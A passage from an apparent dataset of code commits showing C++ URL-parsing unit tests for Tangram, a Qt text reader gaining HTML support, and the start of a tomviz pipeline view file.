CHECK(Url(\"http:\/\/example.com\/..\/..\/no\/going\/back\/file.txt;p?q#f\").standardized().string() == \"http:\/\/example.com\/no\/going\/back\/file.txt;p?q#f\");\n    CHECK(Url(\"data:text\/html;charset=utf-8,LoremIpsum\").standardized().string() == \"data:text\/html;charset=utf-8,LoremIpsum\");\n\n}\n\nTEST_CASE(\"Maintain URL components when 'standardized'\", \"[URL]\") {\n\n    Url url(Url(\"http:\/\/mapzen.com\/nothing\/to\/see\/here\/..\/..\/..\/..\/index.html;p?q#f\").standardized());\n\n    CHECK(!url.isEmpty());\n    CHECK(url.isAbsolute());\n    CHECK(!url.hasDataScheme());\n    CHECK(!url.hasBase64Data());\n    CHECK(!url.hasFileScheme());\n    CHECK(url.hasHttpScheme());\n    CHECK(url.hasScheme());\n    CHECK(url.scheme() == \"http\");\n    CHECK(url.hasNetLocation());\n    CHECK(url.netLocation() == \"mapzen.com\");\n    CHECK(url.hasPath());\n    CHECK(url.path() == \"\/index.html\");\n    CHECK(url.hasParameters());\n    CHECK(url.parameters() == \"p\");\n    CHECK(url.hasQuery());\n    CHECK(url.query() == \"q\");\n    CHECK(url.hasFragment());\n    CHECK(url.fragment() == \"f\");\n    CHECK(!url.hasMediaType());\n    CHECK(!url.hasData());\n\n}\n\nTEST_CASE(\"Resolve a URL against an absolute base URL\", \"[Url]\") {\n\n    \/\/ https:\/\/tools.ietf.org\/html\/rfc3986#section-5.4.1\n\n    Url base(\"http:\/\/a\/b\/c\/d;p?q\");\n\n    CHECK(Url(\"g:h\").resolved(base).string() == \"g:h\");\n    CHECK(Url(\"g\").resolved(base).string() == \"http:\/\/a\/b\/c\/g\");\n    CHECK(Url(\".\/g\").resolved(base).string() == \"http:\/\/a\/b\/c\/g\");\n    CHECK(Url(\"g\/\").resolved(base).string() == \"http:\/\/a\/b\/c\/g\/\");\n    CHECK(Url(\"\/g\").resolved(base).string() == \"http:\/\/a\/g\");\n    CHECK(Url(\"?y\").resolved(base).string() == \"http:\/\/a\/b\/c\/d;p?y\");\n    CHECK(Url(\"g?y\").resolved(base).string() == \"http:\/\/a\/b\/c\/g?y\");\n    CHECK(Url(\"#s\").resolved(base).string() == \"http:\/\/a\/b\/c\/d;p?q#s\");\n    CHECK(Url(\"g#s\").resolved(base).string() == \"http:\/\/a\/b\/c\/g#s\");\n    CHECK(Url(\"g?y#s\").resolved(base).string() == \"http:\/\/a\/b\/c\/g?y#s\");\n    CHECK(Url(\";x\").resolved(base).string() == \"http:\/\/a\/b\/c\/d;x\"); \/\/ See [1] below.\n    CHECK(Url(\"g;x\").resolved(base).string() == \"http:\/\/a\/b\/c\/g;x\");\n    CHECK(Url(\"g;x?y#s\").resolved(base).string() == \"http:\/\/a\/b\/c\/g;x?y#s\");\n    CHECK(Url(\"\").resolved(base).string() == \"http:\/\/a\/b\/c\/d;p?q\");\n\n}\n\nTEST_CASE(\"Resolve a URL against a relative base URL\", \"[Url]\") {\n\n    Url base(\"a\/b\/c\/d;p?q\");\n\n    CHECK(Url(\"g:h\").resolved(base).string() == \"g:h\");\n    CHECK(Url(\"g\").resolved(base).string() == \"a\/b\/c\/g\");\n    CHECK(Url(\".\/g\").resolved(base).string() == \"a\/b\/c\/g\");\n    CHECK(Url(\"g\/\").resolved(base).string() == \"a\/b\/c\/g\/\");\n    CHECK(Url(\"\/g\").resolved(base).string() == \"\/g\");\n    CHECK(Url(\"?y\").resolved(base).string() == \"a\/b\/c\/d;p?y\");\n    CHECK(Url(\"g?y\").resolved(base).string() == \"a\/b\/c\/g?y\");\n    CHECK(Url(\"#s\").resolved(base).string() == \"a\/b\/c\/d;p?q#s\");\n    CHECK(Url(\"g#s\").resolved(base).string() == \"a\/b\/c\/g#s\");\n    CHECK(Url(\"g?y#s\").resolved(base).string() == \"a\/b\/c\/g?y#s\");\n    CHECK(Url(\";x\").resolved(base).string() == \"a\/b\/c\/d;x\"); \/\/ See [1] below.\n    CHECK(Url(\"g;x\").resolved(base).string() == \"a\/b\/c\/g;x\");\n    CHECK(Url(\"g;x?y#s\").resolved(base).string() == \"a\/b\/c\/g;x?y#s\");\n    CHECK(Url(\"\").resolved(base).string() == \"a\/b\/c\/d;p?q\");\n\n}\n\nTEST_CASE(\"Resolve a relative URL against an empty base URL\", \"[Url]\") {\n\n    Url base(\"\");\n\n    CHECK(Url(\"g:h\").resolved(base).string() == \"g:h\");\n    CHECK(Url(\"g\").resolved(base).string() == \"g\");\n    CHECK(Url(\".\/g\").resolved(base).string() == \"g\");\n    CHECK(Url(\"g\/\").resolved(base).string() == \"g\/\");\n    CHECK(Url(\"\/g\").resolved(base).string() == \"\/g\");\n    CHECK(Url(\"?y\").resolved(base).string() == \"?y\");\n    CHECK(Url(\"g?y\").resolved(base).string() == \"g?y\");\n    CHECK(Url(\"#s\").resolved(base).string() == \"#s\");\n    CHECK(Url(\"g#s\").resolved(base).string() == \"g#s\");\n    CHECK(Url(\"g?y#s\").resolved(base).string() == \"g?y#s\");\n    CHECK(Url(\";x\").resolved(base).string() == \";x\");\n    CHECK(Url(\"g;x\").resolved(base).string() == \"g;x\");\n    CHECK(Url(\"g;x?y#s\").resolved(base).string() == \"g;x?y#s\");\n    CHECK(Url(\"\").resolved(base).string() == \"\");\n\n}\n\nTEST_CASE(\"Resolve an abnormal relative URL against an absolute base URL\", \"[Url]\") {\n\n    \/\/ https:\/\/tools.ietf.org\/html\/rfc3986#section-5.4.2\n\n    Url base(\"http:\/\/a\/b\/c\/d;p?q\");\n\n    CHECK(Url(\"..\/..\/..\/g\").resolved(base).string() == \"http:\/\/a\/g\");\n    CHECK(Url(\"..\/..\/..\/..\/g\").resolved(base).string() == \"http:\/\/a\/g\");\n    CHECK(Url(\"\/.\/g\").resolved(base).string() == \"http:\/\/a\/g\");\n    CHECK(Url(\"\/..\/g\").resolved(base).string() == \"http:\/\/a\/g\");\n    CHECK(Url(\"g.\").resolved(base).string() == \"http:\/\/a\/b\/c\/g.\");\n    CHECK(Url(\".g\").resolved(base).string() == \"http:\/\/a\/b\/c\/.g\");\n    CHECK(Url(\"g..\").resolved(base).string() == \"http:\/\/a\/b\/c\/g..\");\n    CHECK(Url(\"..g\").resolved(base).string() == \"http:\/\/a\/b\/c\/..g\");\n    CHECK(Url(\".\/..\/g\").resolved(base).string() == \"http:\/\/a\/b\/g\");\n    CHECK(Url(\".\/g\/.\").resolved(base).string() == \"http:\/\/a\/b\/c\/g\/\");\n    CHECK(Url(\"g\/.\/h\").resolved(base).string() == \"http:\/\/a\/b\/c\/g\/h\");\n    CHECK(Url(\"g\/..\/h\").resolved(base).string() == \"http:\/\/a\/b\/c\/h\");\n    CHECK(Url(\"g;x=1\/.\/y\").resolved(base).string() == \"http:\/\/a\/b\/c\/g;x=1\/.\/y\"); \/\/ See [1] below.\n    CHECK(Url(\"g;x=1\/..\/y\").resolved(base).string() == \"http:\/\/a\/b\/c\/g;x=1\/..\/y\"); \/\/ See [1] below.\n\n}\n\n\/\/ [1]:\n\/\/ Some of the examples for path resolution given in RFC 3986 don't produce the same result\n\/\/ in our implementation because the interpretation of the parameters string in RFC 3986 is\n\/\/ in conflict with RFC 1808, which many URL utilities adhere to (e.g. NSURL). In RFC 1808\n\/\/ the 'path' component stops at a ';', but in RFC 3986 it goes up to a '?'.\n<commit_msg>Fix URL test inputs<commit_after>#include \"catch.hpp\"\n\n#include \"util\/url.h\"\n\nusing namespace Tangram;\n\nTEST_CASE(\"Parse components of a correctly formatted URL\", \"[Url]\") {\n\n    \/\/ Tests conformance to https:\/\/tools.ietf.org\/html\/rfc1808#section-2.1\n\n    Url url(\"https:\/\/some.domain:9000\/path\/to\/file.html;param=val?api_key=mapsRcool#yolo\");\n\n    CHECK(!url.isEmpty());\n    CHECK(url.isAbsolute());\n    CHECK(!url.hasDataScheme());\n    CHECK(!url.hasBase64Data());\n    CHECK(!url.hasFileScheme());\n    CHECK(url.hasHttpScheme());\n    CHECK(url.hasScheme());\n    CHECK(url.scheme() == \"https\");\n    CHECK(url.hasNetLocation());\n    CHECK(url.netLocation() == \"some.domain:9000\");\n    CHECK(url.hasPath());\n    CHECK(url.path() == \"\/path\/to\/file.html\");\n    CHECK(url.hasParameters());\n    CHECK(url.parameters() == \"param=val\");\n    CHECK(url.hasQuery());\n    CHECK(url.query() == \"api_key=mapsRcool\");\n    CHECK(url.hasFragment());\n    CHECK(url.fragment() == \"yolo\");\n    CHECK(!url.hasMediaType());\n    CHECK(!url.hasData());\n\n}\n\nTEST_CASE(\"Parse components of a correctly formatted data URI\", \"[Url]\") {\n\n    \/\/ Tests conformance to https:\/\/tools.ietf.org\/html\/rfc2397#section-3\n\n    Url url(\"data:text\/html;charset=utf-8;base64,YmFzZTY0\");\n\n    CHECK(!url.isEmpty());\n    CHECK(url.isAbsolute());\n    CHECK(url.hasDataScheme());\n    CHECK(url.hasBase64Data());\n    CHECK(!url.hasFileScheme());\n    CHECK(!url.hasHttpScheme());\n    CHECK(url.hasScheme());\n    CHECK(url.scheme() == \"data\");\n    CHECK(!url.hasNetLocation());\n    CHECK(!url.hasParameters());\n    CHECK(!url.hasQuery());\n    CHECK(!url.hasFragment());\n    CHECK(url.hasMediaType());\n    CHECK(url.mediaType() == \"text\/html;charset=utf-8\");\n    CHECK(url.hasData());\n    CHECK(url.data() == \"YmFzZTY0\");\n\n}\n\nTEST_CASE(\"Parse an empty URL\", \"[Url]\") {\n\n    Url url(\"\");\n\n    CHECK(url.isEmpty());\n    CHECK(!url.isAbsolute());\n    CHECK(!url.hasDataScheme());\n    CHECK(!url.hasBase64Data());\n    CHECK(!url.hasScheme());\n    CHECK(!url.hasNetLocation());\n    CHECK(!url.hasPath());\n    CHECK(!url.hasParameters());\n    CHECK(!url.hasQuery());\n    CHECK(!url.hasFragment());\n    CHECK(!url.hasMediaType());\n    CHECK(!url.hasData());\n\n}\n\nTEST_CASE(\"Remove dot segments from a path\", \"[Url]\") {\n\n    \/\/ Tests conformance to https:\/\/tools.ietf.org\/html\/rfc3986#section-5.2.4\n\n    CHECK(Url::removeDotSegmentsFromString(\"\") == \"\");\n    CHECK(Url::removeDotSegmentsFromString(\"a\/b\/c\") == \"a\/b\/c\");\n    CHECK(Url::removeDotSegmentsFromString(\"a\/b=?.;5\/c\") == \"a\/b=?.;5\/c\");\n    CHECK(Url::removeDotSegmentsFromString(\"\/a\/b\/c\/.\/..\/..\/g\") == \"\/a\/g\");\n    CHECK(Url::removeDotSegmentsFromString(\"..\/a\/b\") == \"a\/b\");\n    CHECK(Url::removeDotSegmentsFromString(\".\/\") == \"\");\n    CHECK(Url::removeDotSegmentsFromString(\"..\") == \"\");\n    CHECK(Url::removeDotSegmentsFromString(\"a\/b\/..\/..\/..\") == \"\");\n    CHECK(Url::removeDotSegmentsFromString(\"a\/b\/..\/c\/..\/d\/.\/e\/..\") == \"a\/d\");\n    CHECK(Url::removeDotSegmentsFromString(\"a\/\/b\/\/c\") == \"a\/\/b\/\/c\");\n    CHECK(Url::removeDotSegmentsFromString(\"a.\/b..\/..c\/.d\") == \"a.\/b..\/..c\/.d\");\n\n}\n\nTEST_CASE(\"Produce a 'standardized' URL\", \"[Url]\") {\n\n    CHECK(Url(\"http:\/\/example.com\/path\/oops\/not\/here\/..\/..\/..\/file.txt;p?q#f\").standardized().string() == \"http:\/\/example.com\/path\/file.txt;p?q#f\");\n    CHECK(Url(\"http:\/\/example.com\/..\/..\/no\/going\/back\/file.txt;p?q#f\").standardized().string() == \"http:\/\/example.com\/no\/going\/back\/file.txt;p?q#f\");\n    CHECK(Url(\"data:text\/html;charset=utf-8,LoremIpsum\").standardized().string() == \"data:text\/html;charset=utf-8,LoremIpsum\");\n\n}\n\nTEST_CASE(\"Maintain URL components when 'standardized'\", \"[URL]\") {\n\n    Url url(Url(\"http:\/\/mapzen.com\/nothing\/to\/see\/here\/..\/..\/..\/..\/index.html;p?q#f\").standardized());\n\n    CHECK(!url.isEmpty());\n    CHECK(url.isAbsolute());\n    CHECK(!url.hasDataScheme());\n    CHECK(!url.hasBase64Data());\n    CHECK(!url.hasFileScheme());\n    CHECK(url.hasHttpScheme());\n    CHECK(url.hasScheme());\n    CHECK(url.scheme() == \"http\");\n    CHECK(url.hasNetLocation());\n    CHECK(url.netLocation() == \"mapzen.com\");\n    CHECK(url.hasPath());\n    CHECK(url.path() == \"\/index.html\");\n    CHECK(url.hasParameters());\n    CHECK(url.parameters() == \"p\");\n    CHECK(url.hasQuery());\n    CHECK(url.query() == \"q\");\n    CHECK(url.hasFragment());\n    CHECK(url.fragment() == \"f\");\n    CHECK(!url.hasMediaType());\n    CHECK(!url.hasData());\n\n}\n\nTEST_CASE(\"Resolve a URL against an absolute base URL\", \"[Url]\") {\n\n    \/\/ https:\/\/tools.ietf.org\/html\/rfc3986#section-5.4.1\n\n    Url base(\"http:\/\/a\/b\/c\/d;p?q\");\n\n    CHECK(Url(\"g:h\").resolved(base).string() == \"g:h\");\n    CHECK(Url(\"g\").resolved(base).string() == \"http:\/\/a\/b\/c\/g\");\n    CHECK(Url(\".\/g\").resolved(base).string() == \"http:\/\/a\/b\/c\/g\");\n    CHECK(Url(\"g\/\").resolved(base).string() == \"http:\/\/a\/b\/c\/g\/\");\n    CHECK(Url(\"\/g\").resolved(base).string() == \"http:\/\/a\/g\");\n    CHECK(Url(\"?y\").resolved(base).string() == \"http:\/\/a\/b\/c\/d;p?y\");\n    CHECK(Url(\"g?y\").resolved(base).string() == \"http:\/\/a\/b\/c\/g?y\");\n    CHECK(Url(\"#s\").resolved(base).string() == \"http:\/\/a\/b\/c\/d;p?q#s\");\n    CHECK(Url(\"g#s\").resolved(base).string() == \"http:\/\/a\/b\/c\/g#s\");\n    CHECK(Url(\"g?y#s\").resolved(base).string() == \"http:\/\/a\/b\/c\/g?y#s\");\n    CHECK(Url(\";x\").resolved(base).string() == \"http:\/\/a\/b\/c\/d;x\"); \/\/ See [1] below.\n    CHECK(Url(\"g;x\").resolved(base).string() == \"http:\/\/a\/b\/c\/g;x\");\n    CHECK(Url(\"g;x?y#s\").resolved(base).string() == \"http:\/\/a\/b\/c\/g;x?y#s\");\n    CHECK(Url(\"\").resolved(base).string() == \"http:\/\/a\/b\/c\/d;p?q\");\n\n}\n\nTEST_CASE(\"Resolve a URL against a relative base URL\", \"[Url]\") {\n\n    Url base(\"a\/b\/c\/d;p?q\");\n\n    CHECK(Url(\"g:h\").resolved(base).string() == \"g:h\");\n    CHECK(Url(\"g\").resolved(base).string() == \"a\/b\/c\/g\");\n    CHECK(Url(\".\/g\").resolved(base).string() == \"a\/b\/c\/g\");\n    CHECK(Url(\"g\/\").resolved(base).string() == \"a\/b\/c\/g\/\");\n    CHECK(Url(\"\/g\").resolved(base).string() == \"\/g\");\n    CHECK(Url(\"?y\").resolved(base).string() == \"a\/b\/c\/d;p?y\");\n    CHECK(Url(\"g?y\").resolved(base).string() == \"a\/b\/c\/g?y\");\n    CHECK(Url(\"#s\").resolved(base).string() == \"a\/b\/c\/d;p?q#s\");\n    CHECK(Url(\"g#s\").resolved(base).string() == \"a\/b\/c\/g#s\");\n    CHECK(Url(\"g?y#s\").resolved(base).string() == \"a\/b\/c\/g?y#s\");\n    CHECK(Url(\";x\").resolved(base).string() == \"a\/b\/c\/d;x\"); \/\/ See [1] below.\n    CHECK(Url(\"g;x\").resolved(base).string() == \"a\/b\/c\/g;x\");\n    CHECK(Url(\"g;x?y#s\").resolved(base).string() == \"a\/b\/c\/g;x?y#s\");\n    CHECK(Url(\"\").resolved(base).string() == \"a\/b\/c\/d;p?q\");\n\n}\n\nTEST_CASE(\"Resolve a relative URL against an empty base URL\", \"[Url]\") {\n\n    Url base(\"\");\n\n    CHECK(Url(\"g:h\").resolved(base).string() == \"g:h\");\n    CHECK(Url(\"g\").resolved(base).string() == \"g\");\n    CHECK(Url(\".\/g\").resolved(base).string() == \"g\");\n    CHECK(Url(\"g\/\").resolved(base).string() == \"g\/\");\n    CHECK(Url(\"\/g\").resolved(base).string() == \"\/g\");\n    CHECK(Url(\"?y\").resolved(base).string() == \"?y\");\n    CHECK(Url(\"g?y\").resolved(base).string() == \"g?y\");\n    CHECK(Url(\"#s\").resolved(base).string() == \"#s\");\n    CHECK(Url(\"g#s\").resolved(base).string() == \"g#s\");\n    CHECK(Url(\"g?y#s\").resolved(base).string() == \"g?y#s\");\n    CHECK(Url(\";x\").resolved(base).string() == \";x\");\n    CHECK(Url(\"g;x\").resolved(base).string() == \"g;x\");\n    CHECK(Url(\"g;x?y#s\").resolved(base).string() == \"g;x?y#s\");\n    CHECK(Url(\"\").resolved(base).string() == \"\");\n\n}\n\nTEST_CASE(\"Resolve an abnormal relative URL against an absolute base URL\", \"[Url]\") {\n\n    \/\/ https:\/\/tools.ietf.org\/html\/rfc3986#section-5.4.2\n\n    Url base(\"http:\/\/a\/b\/c\/d;p?q\");\n\n    CHECK(Url(\"..\/..\/..\/g\").resolved(base).string() == \"http:\/\/a\/g\");\n    CHECK(Url(\"..\/..\/..\/..\/g\").resolved(base).string() == \"http:\/\/a\/g\");\n    CHECK(Url(\"\/.\/g\").resolved(base).string() == \"http:\/\/a\/g\");\n    CHECK(Url(\"\/..\/g\").resolved(base).string() == \"http:\/\/a\/g\");\n    CHECK(Url(\"g.\").resolved(base).string() == \"http:\/\/a\/b\/c\/g.\");\n    CHECK(Url(\".g\").resolved(base).string() == \"http:\/\/a\/b\/c\/.g\");\n    CHECK(Url(\"g..\").resolved(base).string() == \"http:\/\/a\/b\/c\/g..\");\n    CHECK(Url(\"..g\").resolved(base).string() == \"http:\/\/a\/b\/c\/..g\");\n    CHECK(Url(\".\/..\/g\").resolved(base).string() == \"http:\/\/a\/b\/g\");\n    CHECK(Url(\".\/g\/.\").resolved(base).string() == \"http:\/\/a\/b\/c\/g\/\");\n    CHECK(Url(\"g\/.\/h\").resolved(base).string() == \"http:\/\/a\/b\/c\/g\/h\");\n    CHECK(Url(\"g\/..\/h\").resolved(base).string() == \"http:\/\/a\/b\/c\/h\");\n    CHECK(Url(\"g;x=1\/.\/y\").resolved(base).string() == \"http:\/\/a\/b\/c\/g;x=1\/.\/y\"); \/\/ See [1] below.\n    CHECK(Url(\"g;x=1\/..\/y\").resolved(base).string() == \"http:\/\/a\/b\/c\/g;x=1\/..\/y\"); \/\/ See [1] below.\n\n}\n\n\/\/ [1]:\n\/\/ Some of the examples for path resolution given in RFC 3986 don't produce the same result\n\/\/ in our implementation because the interpretation of the parameters string in RFC 3986 is\n\/\/ in conflict with RFC 1808, which many URL utilities adhere to (e.g. NSURL). In RFC 1808\n\/\/ the 'path' component stops at a ';', but in RFC 3986 it goes up to a '?'.\n<|endoftext|>"}
{"text":"<commit_before>#include <stdio.h>\n#include <QApplication>\n#include <QFile>\n#include <QLayout>\n#include <QDebug>\n#include <QRegExp>\n#include <QTextDocument>\n#include <QTextOption>\n#include <rwindow.h>\n#include \"pageview.h\"\n\nint main(int argc, char *argv[]) {\n  QApplication app(argc, argv);\n  app.setFont(QFont(\"Liberation Serif\", 12));\n\n  if (argc != 2) {\n    fprintf(stderr, \"Usage: runcible-open-ext-txt <file>\");\n    return 1;\n  }\n\n  QString filename(argv[1]);\n  QFile file(filename);\n  qDebug() << \"Loading\" << filename;\n  QString text;\n  if (file.open(QIODevice::ReadOnly)) {\n    qDebug() << \"Opened\";\n    text = file.readAll();\n    qDebug() << \"Loaded\";\n  }\n\n  text.replace(QRegExp(\"([^\\\\r\\\\n])(\\\\r)?\\\\n([^\\\\n\\\\r])\"), \"\\\\1  \\\\3\");\n\n  RWindow window;\n  PageView display;\n  window.layout()->addWidget(&display);\n  qDebug() << \"Added display.\";\n\n  QObject::connect(&display, SIGNAL(pageCountChanged(int)), &window, SLOT(showTimeline(int)));\n  QObject::connect(&display, SIGNAL(pageChanged(int)), &window, SLOT(updateTimeline(int)));\n\n  QTextDocument doc;\n  doc.setDefaultTextOption(QTextOption(Qt::AlignJustify));\n  doc.setPlainText(text);\n  qDebug() << \"Created doc.\";\n  display.setDocument(&doc);\n  qDebug() << \"Set doc.\";\n\n  QObject::connect(&window, SIGNAL(back()), &app, SLOT(quit()));\n\n  window.showMessage(filename);\n  window.showMaximized();\n\n  return app.exec();\n}\n<commit_msg>Added rudimentary HTML support in text renderer.  Binary must be symlinked to indicate format support.<commit_after>#include <stdio.h>\n#include <QApplication>\n#include <QFile>\n#include <QFileInfo>\n#include <QLayout>\n#include <QDebug>\n#include <QRegExp>\n#include <QTextDocument>\n#include <QTextOption>\n#include <rwindow.h>\n#include \"pageview.h\"\n\nint main(int argc, char *argv[]) {\n  QApplication app(argc, argv);\n  app.setFont(QFont(\"Liberation Serif\", 12));\n\n  if (argc != 2) {\n    fprintf(stderr, \"Usage: runcible-open-ext-txt <file>\");\n    return 1;\n  }\n\n  QString filename(argv[1]);\n  QFile file(filename);\n  QString suffix(QFileInfo(file).suffix());\n\n  qDebug() << \"Loading\" << filename;\n  QString text;\n  if (file.open(QIODevice::ReadOnly)) {\n    qDebug() << \"Opened\";\n    text = file.readAll();\n    qDebug() << \"Loaded\";\n  }\n\n\n  RWindow window;\n  PageView display;\n  window.layout()->addWidget(&display);\n  qDebug() << \"Added display.\";\n\n  QObject::connect(&display, SIGNAL(pageCountChanged(int)), &window, SLOT(showTimeline(int)));\n  QObject::connect(&display, SIGNAL(pageChanged(int)), &window, SLOT(updateTimeline(int)));\n\n  QTextDocument doc;\n  doc.setDefaultTextOption(QTextOption(Qt::AlignJustify));\n  if (suffix == \"html\") {\n    doc.setHtml(text);\n  } else {\n    text.replace(QRegExp(\"([^\\\\r\\\\n])(\\\\r)?\\\\n([^\\\\n\\\\r])\"), \"\\\\1  \\\\3\");\n    doc.setPlainText(text);\n  }\n  qDebug() << \"Created doc.\";\n  display.setDocument(&doc);\n  qDebug() << \"Set doc.\";\n\n  QObject::connect(&window, SIGNAL(back()), &app, SLOT(quit()));\n\n  window.showMessage(filename);\n  window.showMaximized();\n\n  return app.exec();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/******************************************************************************\n\n  This source file is part of the tomviz project.\n\n  Copyright Kitware, Inc.\n\n  This source code is released under the New BSD License, (the \"License\").\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n\n******************************************************************************\/\n\n#include \"PipelineView.h\"\n\n#include \"ActiveObjects.h\"\n#include \"CloneDataReaction.h\"\n#include \"EditOperatorDialog.h\"\n#include \"Module.h\"\n#include \"ModuleManager.h\"\n#include \"Operator.h\"\n#include \"OperatorResult.h\"\n#include \"PipelineModel.h\"\n#include \"ToggleDataTypeReaction.h\"\n#include \"Utilities.h\"\n\n#include <pqCoreUtilities.h>\n#include <pqSpreadSheetView.h>\n#include <pqView.h>\n#include <vtkNew.h>\n#include <vtkSMParaViewPipelineControllerWithRendering.h>\n#include <vtkSMViewProxy.h>\n#include <vtkTable.h>\n\n#include <QKeyEvent>\n#include <QMainWindow>\n#include <QMenu>\n\nnamespace tomviz {\n\nPipelineView::PipelineView(QWidget* p) : QTreeView(p)\n{\n  connect(this, SIGNAL(clicked(QModelIndex)), SLOT(rowActivated(QModelIndex)));\n  setIndentation(20);\n  setRootIsDecorated(false);\n  setItemsExpandable(false);\n\n  QString customStyle = \"QTreeView::branch { background-color: white; }\";\n  this->setStyleSheet(customStyle);\n  setAlternatingRowColors(true);\n  setSelectionBehavior(QAbstractItemView::SelectRows);\n\n  \/\/ track selection to update ActiveObjects.\n  connect(&ActiveObjects::instance(), SIGNAL(dataSourceChanged(DataSource*)),\n          SLOT(setCurrent(DataSource*)));\n  connect(&ActiveObjects::instance(), SIGNAL(moduleChanged(Module*)),\n          SLOT(setCurrent(Module*)));\n\n  connect(this, SIGNAL(doubleClicked(QModelIndex)),\n          SLOT(rowDoubleClicked(QModelIndex)));\n}\n\nPipelineView::~PipelineView() = default;\n\nvoid PipelineView::keyPressEvent(QKeyEvent* e)\n{\n  QTreeView::keyPressEvent(e);\n  if (e->key() == Qt::Key_Delete || e->key() == Qt::Key_Backspace) {\n    deleteItem(currentIndex());\n  }\n}\n\nvoid PipelineView::contextMenuEvent(QContextMenuEvent* e)\n{\n  auto idx = this->indexAt(e->pos());\n  if (!idx.isValid()) {\n    return;\n  }\n\n  auto pipelineModel = qobject_cast<PipelineModel*>(this->model());\n  auto dataSource = pipelineModel->dataSource(idx);\n  auto result = pipelineModel->result(idx);\n\n  bool childData =\n    (dataSource && qobject_cast<Operator*>(dataSource->parent())) ||\n    (result && qobject_cast<Operator*>(result->parent()));\n  if (childData) {\n    return;\n  }\n\n  QMenu contextMenu;\n  QAction* cloneAction = nullptr;\n  QAction* markAsAction = nullptr;\n  if (dataSource != nullptr) {\n    cloneAction = contextMenu.addAction(\"Clone\");\n    new CloneDataReaction(cloneAction);\n    if (dataSource->type() == DataSource::Volume) {\n      markAsAction = contextMenu.addAction(\"Mark as Tilt Series\");\n    } else {\n      markAsAction = contextMenu.addAction(\"Mark as Volume\");\n    }\n  }\n  QAction* deleteAction = contextMenu.addAction(\"Delete\");\n  auto globalPoint = mapToGlobal(e->pos());\n  QAction* selectedItem = contextMenu.exec(globalPoint);\n  \/\/ Some action was selected, so process it.\n  if (selectedItem == deleteAction) {\n    deleteItem(idx);\n  } else if (markAsAction != nullptr && markAsAction == selectedItem) {\n    QMainWindow* mainWindow = qobject_cast<QMainWindow*>(this->window());\n    ToggleDataTypeReaction::toggleDataType(mainWindow, dataSource);\n  }\n}\n\nvoid PipelineView::deleteItem(const QModelIndex& idx)\n{\n  auto pipelineModel = qobject_cast<PipelineModel*>(this->model());\n  Q_ASSERT(pipelineModel);\n  auto dataSource = pipelineModel->dataSource(idx);\n  auto module = pipelineModel->module(idx);\n  auto op = pipelineModel->op(idx);\n  if (dataSource) {\n    pipelineModel->removeDataSource(dataSource);\n  } else if (module) {\n    pipelineModel->removeModule(module);\n  } else if (op) {\n    pipelineModel->removeOp(op);\n  }\n  ActiveObjects::instance().renderAllViews();\n}\n\nvoid PipelineView::rowActivated(const QModelIndex& idx)\n{\n  if (idx.isValid() && idx.column() == 1) {\n    auto pipelineModel = qobject_cast<PipelineModel*>(this->model());\n    if (pipelineModel) {\n      if (auto module = pipelineModel->module(idx)) {\n        module->setVisibility(!module->visibility());\n        if (pqView* view = tomviz::convert<pqView*>(module->view())) {\n          view->render();\n        }\n      } else if (auto op = pipelineModel->op(idx)) {\n        pipelineModel->removeOp(op);\n        expandAll();\n      }\n    }\n  }\n}\n\nvoid PipelineView::rowDoubleClicked(const QModelIndex& idx)\n{\n  auto pipelineModel = qobject_cast<PipelineModel*>(this->model());\n  Q_ASSERT(pipelineModel);\n  if (auto op = pipelineModel->op(idx)) {\n    if (op->hasCustomUI()) {\n      \/\/ Create a non-modal dialog, delete it once it has been closed.\n      EditOperatorDialog* dialog = new EditOperatorDialog(\n        op, op->dataSource(), false, pqCoreUtilities::mainWidget());\n      dialog->setAttribute(Qt::WA_DeleteOnClose, true);\n      dialog->show();\n    }\n  } else if (auto result = pipelineModel->result(idx)) {\n    if (vtkTable::SafeDownCast(result->dataObject())) {\n      auto view = ActiveObjects::instance().activeView();\n      if (tomviz::convert<pqSpreadSheetView*>(view)) {\n        vtkNew<vtkSMParaViewPipelineControllerWithRendering> controller;\n        controller->Show(result->producerProxy(), 0, view);\n      }\n    }\n  }\n}\n\nvoid PipelineView::currentChanged(const QModelIndex& current,\n                                  const QModelIndex&)\n{\n  if (!current.isValid()) {\n    return;\n  }\n  auto pipelineModel = qobject_cast<PipelineModel*>(model());\n  Q_ASSERT(pipelineModel);\n  auto dataSource = pipelineModel->dataSource(current);\n  auto module = pipelineModel->module(current);\n  if (dataSource) {\n    ActiveObjects::instance().setActiveDataSource(dataSource);\n  } else if (module) {\n    ActiveObjects::instance().setActiveModule(module);\n  }\n}\n\nvoid PipelineView::setCurrent(DataSource* dataSource)\n{\n  auto pipelineModel = qobject_cast<PipelineModel*>(model());\n  this->setCurrentIndex(pipelineModel->dataSourceIndex(dataSource));\n}\n\nvoid PipelineView::setCurrent(Module* module)\n{\n  auto pipelineModel = qobject_cast<PipelineModel*>(model());\n  this->setCurrentIndex(pipelineModel->moduleIndex(module));\n}\n\nvoid PipelineView::setCurrent(Operator*)\n{\n}\n}\n<commit_msg>When double clicking a table, open a spreadsheet if not available<commit_after>\/******************************************************************************\n\n  This source file is part of the tomviz project.\n\n  Copyright Kitware, Inc.\n\n  This source code is released under the New BSD License, (the \"License\").\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n\n******************************************************************************\/\n\n#include \"PipelineView.h\"\n\n#include \"ActiveObjects.h\"\n#include \"CloneDataReaction.h\"\n#include \"EditOperatorDialog.h\"\n#include \"Module.h\"\n#include \"ModuleManager.h\"\n#include \"Operator.h\"\n#include \"OperatorResult.h\"\n#include \"PipelineModel.h\"\n#include \"ToggleDataTypeReaction.h\"\n#include \"Utilities.h\"\n\n#include <pqCoreUtilities.h>\n#include <pqSpreadSheetView.h>\n#include <pqView.h>\n#include <vtkNew.h>\n#include <vtkSMParaViewPipelineControllerWithRendering.h>\n#include <vtkSMViewProxy.h>\n#include <vtkTable.h>\n\n#include <QKeyEvent>\n#include <QMainWindow>\n#include <QMenu>\n\nnamespace tomviz {\n\nPipelineView::PipelineView(QWidget* p) : QTreeView(p)\n{\n  connect(this, SIGNAL(clicked(QModelIndex)), 